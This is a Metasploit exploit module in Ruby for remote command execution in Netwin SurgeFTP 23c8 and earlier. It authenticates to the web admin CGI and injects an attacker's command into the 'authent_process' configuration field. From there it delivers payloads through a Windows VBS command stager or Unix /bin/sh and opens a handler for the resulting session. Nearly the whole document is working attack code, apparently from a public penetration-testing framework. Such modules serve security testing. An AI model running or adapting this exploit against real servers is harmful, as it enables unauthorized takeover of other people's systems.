Netwin SurgeFTP Remote Command Execution

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = GoodRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Netwin SurgeFTP Remote Command Execution',
      'Description'    => %q{
          This module exploits a vulnerability found in Netwin SurgeFTP, version 23c8
        or prior.  In order to execute commands via the FTP service, please note that
        you must have a valid credential to the web-based administrative console.
      },
      'Author'         =>
        [
          'Spencer McIntyre',  #Who found this vuln?
          'sinn3r'
        ],
      'License'        => MSF_LICENSE,
      'References'     =>
        [
          [ 'OSVDB', '89105' ],
          [ 'EDB', '23522' ]
        ],
      'Platform'       => %w{ win unix },
      'Targets'        =>
        [
          [ 'Windows', { 'Arch'=>ARCH_X86, 'Platform'=>'win', 'CmdStagerFlavor' => 'vbs'}  ],
          [ 'Unix',    { 'Arch'=>ARCH_CMD, 'Platform'=>'unix', 'Payload'=>{'BadChars' => "\x22"}} ]
        ],
      'DisclosureDate' => '2012-12-06',
      'Notes'          =>
        {
          'Stability'   => [ CRASH_SAFE, ],
          'SideEffects' => [ ARTIFACTS_ON_DISK, IOC_IN_LOGS, ],
          'Reliability' => [ REPEATABLE_SESSION, ],
        },
    ))

    register_options(
      [
        Opt::RPORT(7021),
        OptString.new('HttpUsername', [ true, 'The username with admin role to authenticate as', 'admin' ]),
        OptString.new('HttpPassword', [ true, 'The password for the specified username', 'password' ])
      ])
  end

  def check
    res = send_request_raw({'uri'=>'/cgi/surgeftpmgr.cgi'})
    if res and res.body =~ /surgeftp\x20\x0d\x0a\x20\x20Manager CGI/
      return Exploit::CheckCode::Detected
    else
      return Exploit::CheckCode::Safe
    end
  end

  def execute_command(cmd, opts)
    http_send_command("cmd.exe /q /c #{cmd}")
  end

  def http_send_command(command)
    res = send_request_cgi(
    {
      'uri'     => '/cgi/surgeftpmgr.cgi',
      'method'  => 'POST',
      'authorization' => basic_auth(datastore['HttpUsername'], datastore['HttpPassword']),
      'vars_post' =>
        {
          'global_smtp' => "",
          'global_restart' => "",
          'global_style' => "",
          'global_bind' => "",
          'global_passive_ip' => "",
          'global_passive_match' => "",
          'global_logon_mode' => "",
          'global_log_host' => "",
          'global_login_error' => "",
          'global_adminip' => "",
          'global_total_users' => "",
          'global_con_perip' => "",
          'global_ssl' => "",
          'global_ssl_cipher_list' => "",
          'global_implicit_port' => "",
          'log_level' => "",
          'log_home' => "",
          'global_watcher_program_ul' => "",
          'global_watcher_program_dl' => "",
          'authent_process' => command,
          'authent_cmdopts' => "",
          'authent_number' => "",
          'authent_domain' => "",
          'global_strip_user_domain' => "",
          'global_noclass' => "",
          'global_anon_hammer_over_time' => "",
          'global_anon_hammer_max' => "",
          'global_anon_hammer_block_time' => "",
          'global_port' => "",
          'global_mgr_port' => "",
          'global_mgr_ssl_port' => "",
          'cmd_global_save.x' => "36",
          'cmd_global_save.y' => "8",
        }
    })

    if res and res.body =~ /401 Authorization failed/
      fail_with(Failure::NoAccess, "Unable to log in!")
    elsif not (res and res.code == 200)
      fail_with(Failure::Unknown, 'Failed to execute command.')
    end
  end

  def exploit
    case target['Platform']
    when 'win'
      print_status("#{rhost}:#{rport} - Sending command stager...")
      execute_cmdstager({:linemax=>500})

    when 'unix'
      print_status("#{rhost}:#{rport} - Sending payload...")
      http_send_command(%Q|/bin/sh -c "#{payload.encoded}"|)
    end

    handler
  end
end